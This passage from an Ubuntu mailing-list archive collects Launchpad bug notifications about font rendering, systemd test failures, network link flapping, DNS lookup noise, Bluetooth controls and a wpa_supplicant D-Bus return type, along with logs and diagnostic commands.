  2018-08-15 06:18:00,048 INFO Allowed origins are: o=Ubuntu,a=bionic, 
o=Ubuntu,a=bionic-security, o=UbuntuESM,a=bionic
  2018-08-15 06:18:01,552 INFO Removing unused kernel packages: 
linux-headers-generic linux-image-generic linux-headers-4.15.0-32-generic 
linux-headers-4.15.0-32
  2018-08-15 06:18:01,588 WARNING Keeping auto-removable linux-headers-generic 
package(s) because it would also remove the following packages which should be 
kept in this step: libxml2 linux-image-4.15.0-32-generic 
linux-modules-4.15.0-32-generic linux-modules-extra-4.15.0-32-generic
  2018-08-15 06:18:09,476 INFO Packages that were successfully auto-removed: 
linux-headers-4.15.0-32 linux-headers-4.15.0-32-generic linux-headers-generic 
linux-image-generic
  2018-08-15 06:18:09,477 INFO Packages that are kept back: 
linux-headers-generic
  2018-08-15 06:18:10,300 INFO Packages that will be upgraded: libxml2 
linux-image-generic
  2018-08-15 06:18:10,300 INFO Writing dpkg log to 
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log
  2018-08-15 06:18:39,238 INFO All upgrades installed
  2018-08-15 06:18:42,818 INFO Packages that were successfully auto-removed: 
linux-image-generic linux-modules-extra-4.15.0-32-generic
  2018-08-15 06:18:42,818 INFO Packages that are kept back:

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: unattended-upgrades 1.1ubuntu1.18.04.5
  ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18
  Uname: Linux 4.15.0-32-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair
  ApportVersion: 2.20.9-0ubuntu7.3
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Thu Aug 16 13:17:30 2018
  InstallationDate: Installed on 2018-07-24 (23 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180724)
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: unattended-upgrades
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1787460/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : 

[Touch-packages] [Bug 1865387] Re: Linux Biolinum O italic lowercase m not displayed by poppler

[Mattia Rizzolo]

the commit seb128 mentions for freetype is present in freetype 2.10.1-1
which is present in focal+.

** Changed in: freetype (Ubuntu)
   Status: Triaged => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to freetype in Ubuntu.
https://bugs.launchpad.net/bugs/1865387

Title:
  Linux Biolinum O italic lowercase m not displayed by poppler

Status in FreeType:
  Unknown
Status in Linux Libertine:
  New
Status in fonts-linuxlibertine package in Ubuntu:
  Invalid
Status in freetype package in Ubuntu:
  Fix Released

Bug description:
  STEPS TO REPRODUCE: Create a PDF document with the character U+006D LATIN 
SMALL LETTER M
   in Linux Biolinum O, for example with libreoffice.

  Expected behavior: The 'm' is displayed

  Actual behavior: The 'm' is not displayed (but does take up space)

  This issue is discussed in this thread in the poppler forum, which
  leads me to think it is a problem with the font:
  https://lists.nongnu.org/archive/html/freetype-
  devel/2018-12/msg00063.html

  ProblemType: Bug
  DistroRelease: Ubuntu 19.04
  Package: fonts-linuxlibertine 5.3.0-4
  ProcVersionSignature: Ubuntu 5.0.0-38.41-generic 5.0.21
  Uname: Linux 5.0.0-38-generic x86_64
  ApportVersion: 2.20.10-0ubuntu27.3
  Architecture: amd64
  CurrentDesktop: KDE
  Date: Sun Mar  1 17:13:17 2020
  Dependencies:
   
  PackageArchitecture: all
  SourcePackage: fonts-linuxlibertine
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/freetype/+bug/1865387/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1536751] Re: Font/text rendering is irregular and not pixel-aligned on low DPI screens

[Mattia Rizzolo]

Is this issue still present after some years?  I don't have any low-DPI
system at hand (I really only have hi-DPI screens… :P)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to qtbase-opensource-src in
Ubuntu.
https://bugs.launchpad.net/bugs/1536751

Title:
  Font/text rendering is irregular and not pixel-aligned on low DPI
  screens

Status in Canonical System Image:
  Confirmed
Status in fontconfig package in Ubuntu:
  Incomplete
Status in freetype package in Ubuntu:
  Incomplete
Status in harfbuzz package in Ubuntu:
  Confirmed
Status in qtbase-opensource-src package in Ubuntu:
  Incomplete
Status in qtdeclarative-opensource-src package in Ubuntu:
  New
Status in ubuntu-ui-toolkit package in Ubuntu:
  Confirmed
Status in unity8 package in Ubuntu:
  Confirmed

Bug description:
  This is a Dell Vostro 3550 laptop with a fresh install of 16.04 and
  unity8 Mir session

  the version of qtdeclarative5-qtmir-plugin is
  0.4.7+16.04.20160104-0ubuntu1

  As you can see from the screenshots the text has low details and, in
  the case of indicators descriptions at the top, almost disappears.

  The text could be fixed by using Text.NativeRendering instead of 
Text.QtRendering for the QML labels on low dpi screens, although text doesn't 
seem to be the only issue here. The icons are definitely lacking detail as well 
(QML Image's smoothing is enabled maybe?).
  Also the dots of the infographic don't look like circles at all, they're 
missing pixels and many of them look like a C more than an O.

  It looks to me like something is setting the wrong resolution, because
  it looks quite bad. But the screenshots are 1366x768 so I think that's
  not the case.

  NOTE: Unity7 looks perfectly fine and detailed

To manage notifications about this bug go to:
https://bugs.launchpad.net/canonical-devices-system-image/+bug/1536751/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1862667] Re: systemd autopkgtest 'boot-and-services' fails with linux-kvm

[Dan Streetman]

marking Eoan as wontfix; it's EOL in weeks and this is a minor bug

** Changed in: linux-kvm (Ubuntu Eoan)
   Status: New => Won't Fix

** Changed in: systemd (Ubuntu Eoan)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1862667

Title:
  systemd autopkgtest 'boot-and-services' fails with linux-kvm

Status in linux-kvm package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  In Progress
Status in linux-kvm source package in Eoan:
  Won't Fix
Status in systemd source package in Eoan:
  Won't Fix
Status in linux-kvm source package in Focal:
  New
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  systemd autopkgtest 'boot-and-services' fails when running with linux-
  kvm kernel, because that kernel does not set CONFIG_DM_MULTIPATH, so
  the test detects failed services.

  [test case]

  check the autopkgtest results, e.g.:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-eoan/eoan/amd64/s/systemd/20200210_144351_da247@/log.gz

  test_no_failed (__main__.ServicesTest)
  No failed units ...  journal for failed service multipathd.service 
---
  -- Logs begin at Mon 2020-02-10 03:26:38 UTC, end at Mon 2020-02-10 13:56:23 
UTC. --
  Feb 10 13:56:07 autopkgtest systemd[1]: Starting Device-Mapper Multipath 
Device Controller...
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_alua not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_emc not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_rdac not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
dm-multipath not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest multipathd[195]: start up
  Feb 10 13:56:07 autopkgtest multipathd[195]: read /etc/multipath.conf
  Feb 10 13:56:07 autopkgtest multipathd[195]: DM multipath kernel driver not 
loaded
  Feb 10 13:56:07 autopkgtest systemd[1]: multipathd.service: Main process 
exited, code=exited, status=1/FAILURE
  Feb 10 13:56:07 autopkgtest systemd[1]: multipathd.service: Failed with 
result 'exit-code'.
  Feb 10 13:56:07 autopkgtest systemd[1]: Failed to start Device-Mapper 
Multipath Device Controller.
  FAIL

  ==
  FAIL: test_no_failed (__main__.ServicesTest)
  No failed units
  --
  Traceback (most recent call last):
    File 
"/tmp/autopkgtest.WQ5GyY/build.RUe/src/debian/tests/boot-and-services", line 
68, in test_no_failed
  self.assertEqual(failed, [])
  AssertionError: Lists differ: ['multipathd.service loaded failed failed [38 
chars]ler'] != []

  First list contains 1 additional elements.
  First extra element 0:
  'multipathd.service loaded failed failed Device-Mapper Multipath Device 
Controller'

  + []
  - ['multipathd.service loaded failed failed Device-Mapper Multipath Device '
  -  'Controller']

  [regression potential]

  This updates the test case to ignore failure of multipathd.service if
  it looks like the dm-multipath module isn't available, so any
  regression would be limited to incorrectly passing or failing test
  case.

  [scope]

  This is needed at least in Eoan, and probably Focal.

  This doesn't fail on Bionic or Xenial, but that seems to be because
  the multipath-utils package (which provides multipathd.service) is not
  installed during the test for those releases.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux-kvm/+bug/1862667/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1881207] Re: systemd-networkd brings eno1 up and down repeatedly

[Dan Streetman]

marking Eoan as wontfix; it's EOL in weeks

** Changed in: systemd (Ubuntu Eoan)
   Status: In Progress => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1881207

Title:
  systemd-networkd brings eno1 up and down repeatedly

Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Eoan:
  Won't Fix
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress

Bug description:
  Running on a NUC (BOXNUC8i7BEH3).

  After updating the `systemd` package past `237-3ubuntu10.32`, I see
  the onboard NIC link being taken down / up repeatedly, as shown below
  (dates are from my original notes, but the issue remains the same
  today).

  The NIC fails to remain up, and all networking is out of action.

  Running `systemctl stop systemd-netword` stops this and leaves the NIC in an 
unknown state.
  Subsequently running `ifconfig eno1 up && dhclient eno1` allows networking to 
continue basic operation, albeit without systemd's oversight.

  My original solution was to downgrade both the `libsystemd0` and
  `systemd` packages to `237-3ubuntu10.28`.

  After attempting an `apt update && apt upgrade` again today, exactly
  the same thing is happening with `237-3ubuntu10.41`.

  Good versions:
  - 237-3ubuntu10.28
  - 237-3ubuntu10.32 (currently in use, and held)

  Bad versions:
  - 237-3ubuntu10.33
  - 237-3ubuntu10.38
  - 237-3ubuntu10.41

  dmesg:

  [  360.711367] e1000e: eno1 NIC Link is Up 1000 Mbps Full Duplex, Flow 
Control: Rx/Tx
  [  360.714370] e1000e :00:1f.6 eno1: changing MTU from 1500 to 9000
  [  360.726189] e1000e :00:1f.6: Interrupt Throttle Rate off
  [  361.733073] e1000e :00:1f.6 eno1: changing MTU from 9000 to 1500
  [  361.744146] e1000e :00:1f.6: Interrupt Throttle Rate on
  [  366.760198] e1000e: eno1 NIC Link is Up 1000 Mbps Full Duplex, Flow 
Control: Rx/Tx
  [  366.763375] e1000e :00:1f.6 eno1: changing MTU from 1500 to 9000
  [  366.776060] e1000e :00:1f.6: Interrupt Throttle Rate off
  [  367.781718] e1000e :00:1f.6 eno1: changing MTU from 9000 to 1500
  [  367.792796] e1000e :00:1f.6: Interrupt Throttle Rate on
  [  372.808660] e1000e: eno1 NIC Link is Up 1000 Mbps Full Duplex, Flow 
Control: Rx/Tx
  [  372.811537] e1000e :00:1f.6 eno1: changing MTU from 1500 to 9000
  [  372.823648] e1000e :00:1f.6: Interrupt Throttle Rate off
  [  373.830436] e1000e :00:1f.6 eno1: changing MTU from 9000 to 1500
  [  373.841512] e1000e :00:1f.6: Interrupt Throttle Rate on

  journalctl -u systemd-networkd:

  Jan 06 18:04:05 patch systemd-networkd[755]: eno1: Gained carrier
  Jan 06 18:04:05 patch systemd-networkd[755]: eno1: DHCPv4 address 
10.42.0.5/24 via 10.42.0.3
  Jan 06 18:04:05 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:05 patch systemd-networkd[755]: eno1: Configured
  Jan 06 18:04:06 patch systemd-networkd[755]: eno1: Lost carrier
  Jan 06 18:04:06 patch systemd-networkd[755]: eno1: DHCP lease lost
  Jan 06 18:04:06 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:11 patch systemd-networkd[755]: eno1: Gained carrier
  Jan 06 18:04:11 patch systemd-networkd[755]: eno1: DHCPv4 address 
10.42.0.5/24 via 10.42.0.3
  Jan 06 18:04:11 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:11 patch systemd-networkd[755]: eno1: Configured
  Jan 06 18:04:12 patch systemd-networkd[755]: eno1: Lost carrier
  Jan 06 18:04:12 patch systemd-networkd[755]: eno1: DHCP lease lost
  Jan 06 18:04:12 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:17 patch systemd-networkd[755]: eno1: Gained carrier
  Jan 06 18:04:17 patch systemd-networkd[755]: eno1: DHCPv4 address 
10.42.0.5/24 via 10.42.0.3
  Jan 06 18:04:17 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:17 patch systemd-networkd[755]: eno1: Configured
  Jan 06 18:04:18 patch systemd-networkd[755]: eno1: Lost carrier
  Jan 06 18:04:18 patch systemd-networkd[755]: eno1: DHCP lease lost
  Jan 06 18:04:18 patch systemd-networkd[755]: eno1: IPv6 successfully enabled

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: systemd 237-3ubuntu10.32
  ProcVersionSignature: Ubuntu 4.15.0-101.102-generic 4.15.18
  Uname: Linux 4.15.0-101-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  Date: Thu May 28 23:19:27 2020
  InstallationDate: Installed on 2019-06-20 (343 days ago)
  InstallationMedia: Ubuntu-Server 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 003: ID 0dc6:3401 Precision Squared Technology Corp.
   Bus 001 Device 002: ID 0403:6014 Future Technology Devices International, 

[Touch-packages] [Bug 1880258] Re: Add trailing dot to make connectivity-check.ubuntu.com. absolute and reduce NXDOMAIN warning noise

[MarcH]

> systemd behaviour could be better for domains without '.'

One thing that would help with these confusing NXDOMAIN errors in
general (not just from NetworkManager) is for systemd to provide a more
verbose and possibly less "private"[*] mode that shows the requested
domains somewhere without having to use tcpdump on the side and try to
match timestamps, process IDs and what not. In fact this mode could be
considered "more secure" because of the added admin transparency. It
could be off by default for privacy reasons - depending on where the
information goes.

Maybe this more verbose mode exists and I missed it? Or a feature
request already filed? In either case please share, thanks.


[*] just guessing the current rationale

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1880258

Title:
  Add trailing dot to make connectivity-check.ubuntu.com. absolute and
  reduce NXDOMAIN warning noise

Status in network-manager package in Ubuntu:
  Fix Released
Status in systemd package in Ubuntu:
  Triaged
Status in network-manager source package in Focal:
  Confirmed

Bug description:
  I normally don't like this, but it's a one-character change so it's
  easier to start with the solution:

  diff -u -r1.1 /usr/lib/NetworkManager/conf.d/20-connectivity-ubuntu.conf
  --- /usr/lib/NetworkManager/conf.d/20-connectivity-ubuntu.conf  
  +++ /usr/lib/NetworkManager/conf.d/20-connectivity-ubuntu.conf
  @@ -1,2 +1,2 @@
   [connectivity]
  -uri=http://connectivity-check.ubuntu.com/
  +uri=http://connectivity-check.ubuntu.com./

  Making this name absolute instead of relative avoids spurious
  resolutions of "connectivity-check.ubuntu.com.your_domain." This
  removes a fair amount of NXDOMAIN error noise in journalctl.

  
  Observing the issue and the fix requires 3 terminals:

  1. tcpdump -i any 'port domain'
  2. journalctl --boot -u systemd-resolved -f

  3. nmcli c down "Wired connection 1"; nmcli c up "Wired connection 1"
   => observe the NXDOMAIN noise over a couple few minutes
   
  Now make the hostname absolute with the trailing dot above and run:
 systemctl reload NetworkManager
  Wait 1 min for things to stabilize. Test again:

  nmcli c down "Wired connection 1"; nmcli c up "Wired connection 1"
   => observe non-zero but significantly reduced NXDOMAIN noise over a couple 
few minutes

  Originally reported at https://askubuntu.com/a/1242611/117217

  Plenty of people annoyed by NXDOMAIN warnings, just Google it.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1880258/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1885496] Re: Bluetooth is disabled in gui, but audio reciever's action button still controls Ubuntu

[Eduardo Barretto]

** Information type changed from Private Security to Public Security

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to bluez in Ubuntu.
https://bugs.launchpad.net/bugs/1885496

Title:
  Bluetooth is disabled in gui, but audio reciever's action button still
  controls Ubuntu

Status in bluez package in Ubuntu:
  New

Bug description:
  Current behavior:
  In gnome-control-center I see the Bluetooth slider is set to Off and the 
status shows "Bluetooth Turned Off".

  My Bluetooth audio receiver which had previously been paired can still
  control VLC, or any other compatible media player with a Pause/Play
  button.  If no compatible app is running then an error icon
  appears.[0]

  Expected behavior: when gnome-control-center Bluetooth shows Disabled,
  then no bluetooth device should be able to communicate with the
  computer.

  Security: This is way out of my wheelhouse, but if this goes beyond my
  use case, could this have security implications?  Just the fact that
  the bluetooth subsystem is functional when the UI says it is not,
  seems like a bad sign, correct?

  EDIT:  as a next step, when I enabled Bluetooth in gnome-control-
  center I see the device's status as "Disconnected" and the device does
  not appear as a possible sound output device in Sound settings. In
  this Bluetooth enabled state, the pause/play button still works.  When
  I disable all Bluetooth, the pause/play button still works.

  EDIT2:
  I'm not sure what the gnome-control-center Bluetooth On/Off slider is 
supposed to do, but while gnome-control-center Bluetooth shows disabled the 
service is still running.

  $ service bluetooth status

   bluetooth.service - Bluetooth service
   Loaded: loaded (/lib/systemd/system/bluetooth.service; enabled; vendor 
preset: enabled)
   Active: active (running) since Fri 2020-06-26 10:09:48 PDT; 2 days ago
     Docs: man:bluetoothd(8)
     Main PID: 935 (bluetoothd)
   Status: "Running"
    Tasks: 1 (limit: 38343)
   Memory: 3.0M
   CGroup: /system.slice/bluetooth.service
   └─935 /usr/lib/bluetooth/bluetoothd

  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth daemon 5.53
  Jun 26 10:09:48 nyuk systemd[1]: Started Bluetooth service.
  Jun 26 10:09:48 nyuk bluetoothd[935]: Starting SDP server
  Jun 26 10:09:48 nyuk bluetoothd[935]: Bluetooth management interface 1.14 
initialized
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSink/sbc
  Jun 26 10:12:17 nyuk bluetoothd[935]: Endpoint registered: sender=:1.94 
path=/MediaEndpoint/A2DPSource/sbc
  Jun 26 20:55:06 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd0: fd(37) ready
  Jun 26 20:56:12 nyuk bluetoothd[935]: 
/org/bluez/hci0/dev_0B_26_75_03_C0_80/sep1/fd1: fd(37) ready
  Jun 26 21:23:45 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)
  Jun 28 20:58:41 nyuk bluetoothd[935]: Failed to set mode: Blocked through 
rfkill (0x12)

  [0] https://i.imgur.com/e2nM7hA.png

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: bluez 5.53-0ubuntu3
  ProcVersionSignature: Ubuntu 5.4.0-39.43-generic 5.4.41
  Uname: Linux 5.4.0-39-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.3
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Jun 28 21:11:45 2020
  InstallationDate: Installed on 2020-06-17 (11 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  InterestingModules: rfcomm bnep btusb bluetooth
  Lsusb:
   Bus 002 Device 003: ID 090c:1000 Silicon Motion, Inc. - Taiwan (formerly 
Feiya Technology Corp.) Flash Drive
   Bus 002 Device 002: ID 152d:0567 JMicron Technology Corp. / JMicron USA 
Technology Corp. JMS567 SATA 6Gb/s bridge
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 002: ID 8087:0a2b Intel Corp.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  ProcEnviron:
   PATH=(custom, no username)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-39-generic 
root=UUID=7d791ec0-a9ea-415e-b7ec-6260b85b55f7 ro quiet splash vt.handoff=7
  SourcePackage: bluez
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/27/2016
  dmi.bios.vendor: Intel Corp.
  dmi.bios.version: SYSKLi35.86A.0045.2016.0527.1055
  dmi.board.asset.tag: �=\�
  dmi.board.name: NUC6i5SYB
  dmi.board.vendor: Intel corporation
  dmi.board.version: H81131-504
  dmi.chassis.type: 3
  dmi.modalias: 
dmi:bvnIntelCorp.:bvrSYSKLi35.86A.0045.2016.0527.1055:bd05/27/2016:svn:pn:pvr:rvnIntelcorporation:rnNUC6i5SYB:rvrH81131-504:cvn:ct3:cvr:
  hciconfig:
   hci0:Type: Primary  Bus: USB
    BD Address: 00:C2:C6:F8:FA:D3  ACL MTU: 1021:4  SCO MTU: 96:6
    DOWN
    RX bytes:14600494 acl:95 sco:0 events:355024 errors:0
    TX bytes:1481557 acl:1120 sco:0 

[Touch-packages] [Bug 1886087] [NEW] dbus Method “SignalPoll” is returning incorrect type

[Adam Fairbrother]

Public bug reported:

The SignalPoll method should return a 'a{sv}' type as shown by
introspection:

$ gdbus introspect -y -d fi.w1.wpa_supplicant1 -o 
/fi/w1/wpa_supplicant1/Interfaces/0  | grep SignalPoll
  SignalPoll(out a{sv} args);

instead a 'v' type is returned:

$ gdbus call -y -d fi.w1.wpa_supplicant1 -o 
/fi/w1/wpa_supplicant1/Interfaces/0 -m 
fi.w1.wpa_supplicant1.Interface.SignalPoll
(<{'rssi': <-64>, 'linkspeed': <24>, 'noise': <>, 'frequency': , 'width': <'40 MHz'>}>,)

Description:Ubuntu 20.04 LTS
Release:20.04

wpasupplicant:
  Installed: 2:2.9-1ubuntu4.1
  Candidate: 2:2.9-1ubuntu4.1
  Version table:
 *** 2:2.9-1ubuntu4.1 500
500 http://ports.ubuntu.com/ubuntu-ports focal-updates/main arm64 
Packages
100 /var/lib/dpkg/status
 2:2.9-1ubuntu4 500
500 http://ports.ubuntu.com/ubuntu-ports focal/main arm64 Packages

** Affects: wpa (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to wpa in Ubuntu.
https://bugs.launchpad.net/bugs/1886087

Title:
  dbus Method “SignalPoll” is returning incorrect type

Status in wpa package in Ubuntu:
  New

Bug description:
  The SignalPoll method should return a 'a{sv}' type as shown by
  introspection:

  $ gdbus introspect -y -d fi.w1.wpa_supplicant1 -o 
/fi/w1/wpa_supplicant1/Interfaces/0  | grep SignalPoll
SignalPoll(out a{sv} args);

  instead a 'v' type is returned:

  $ gdbus call -y -d fi.w1.wpa_supplicant1 -o 
/fi/w1/wpa_supplicant1/Interfaces/0 -m 
fi.w1.wpa_supplicant1.Interface.SignalPoll
  (<{'rssi': <-64>, 'linkspeed': <24>, 'noise': <>, 'frequency': , 'width': <'40 MHz'>}>,)

  Description:Ubuntu 20.04 LTS
  Release:20.04

  wpasupplicant:
Installed: 2:2.9-1ubuntu4.1
Candidate: 2:2.9-1ubuntu4.1
Version table:
   *** 2:2.9-1ubuntu4.1 500
  500 http://ports.ubuntu.com/ubuntu-ports focal-updates/main arm64 
Packages
  100 /var/lib/dpkg/status
   2:2.9-1ubuntu4 500
  500 http://ports.ubuntu.com/ubuntu-ports focal/main arm64 Packages

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/wpa/+bug/1886087/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1862667] Re: systemd autopkgtest 'boot-and-services' fails with linux-kvm

[Dan Streetman]

** Description changed:

  [impact]
  
  systemd autopkgtest 'boot-and-services' fails when running with linux-
  kvm kernel, because that kernel does not set CONFIG_DM_MULTIPATH, so the
  test detects failed services.
  
  [test case]
  
  check the autopkgtest results, e.g.:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-eoan/eoan/amd64/s/systemd/20200210_144351_da247@/log.gz
- 
  
  test_no_failed (__main__.ServicesTest)
  No failed units ...  journal for failed service multipathd.service 
---
  -- Logs begin at Mon 2020-02-10 03:26:38 UTC, end at Mon 2020-02-10 13:56:23 
UTC. --
  Feb 10 13:56:07 autopkgtest systemd[1]: Starting Device-Mapper Multipath 
Device Controller...
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_alua not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_emc not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_rdac not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
dm-multipath not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest multipathd[195]: start up
  Feb 10 13:56:07 autopkgtest multipathd[195]: read /etc/multipath.conf
  Feb 10 13:56:07 autopkgtest multipathd[195]: DM multipath kernel driver not 
loaded
  Feb 10 13:56:07 autopkgtest systemd[1]: multipathd.service: Main process 
exited, code=exited, status=1/FAILURE
  Feb 10 13:56:07 autopkgtest systemd[1]: multipathd.service: Failed with 
result 'exit-code'.
  Feb 10 13:56:07 autopkgtest systemd[1]: Failed to start Device-Mapper 
Multipath Device Controller.
  FAIL
  
- 
  ==
  FAIL: test_no_failed (__main__.ServicesTest)
  No failed units
  --
  Traceback (most recent call last):
-   File 
"/tmp/autopkgtest.WQ5GyY/build.RUe/src/debian/tests/boot-and-services", line 
68, in test_no_failed
- self.assertEqual(failed, [])
+   File 
"/tmp/autopkgtest.WQ5GyY/build.RUe/src/debian/tests/boot-and-services", line 
68, in test_no_failed
+ self.assertEqual(failed, [])
  AssertionError: Lists differ: ['multipathd.service loaded failed failed [38 
chars]ler'] != []
  
  First list contains 1 additional elements.
  First extra element 0:
  'multipathd.service loaded failed failed Device-Mapper Multipath Device 
Controller'
  
  + []
  - ['multipathd.service loaded failed failed Device-Mapper Multipath Device '
  -  'Controller']
  
- 
  [regression potential]
  
- TBD
+ This updates the test case to ignore failure of multipathd.service if it
+ looks like the dm-multipath module isn't available, so any regression
+ would be limited to incorrectly passing or failing test case.
  
  [scope]
  
  This is needed at least in Eoan, and probably Focal.
  
  This doesn't fail on Bionic or Xenial, but that seems to be because the
  multipath-utils package (which provides multipathd.service) is not
  installed during the test for those releases.
- 
- [other info]

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1862667

Title:
  systemd autopkgtest 'boot-and-services' fails with linux-kvm

Status in linux-kvm package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  In Progress
Status in linux-kvm source package in Eoan:
  New
Status in systemd source package in Eoan:
  In Progress
Status in linux-kvm source package in Focal:
  New
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  systemd autopkgtest 'boot-and-services' fails when running with linux-
  kvm kernel, because that kernel does not set CONFIG_DM_MULTIPATH, so
  the test detects failed services.

  [test case]

  check the autopkgtest results, e.g.:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-eoan/eoan/amd64/s/systemd/20200210_144351_da247@/log.gz

  test_no_failed (__main__.ServicesTest)
  No failed units ...  journal for failed service multipathd.service 
---
  -- Logs begin at Mon 2020-02-10 03:26:38 UTC, end at Mon 2020-02-10 13:56:23 
UTC. --
  Feb 10 13:56:07 autopkgtest systemd[1]: Starting Device-Mapper Multipath 
Device Controller...
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_alua not found in directory /lib/modules/5.3.0-1010-kvm
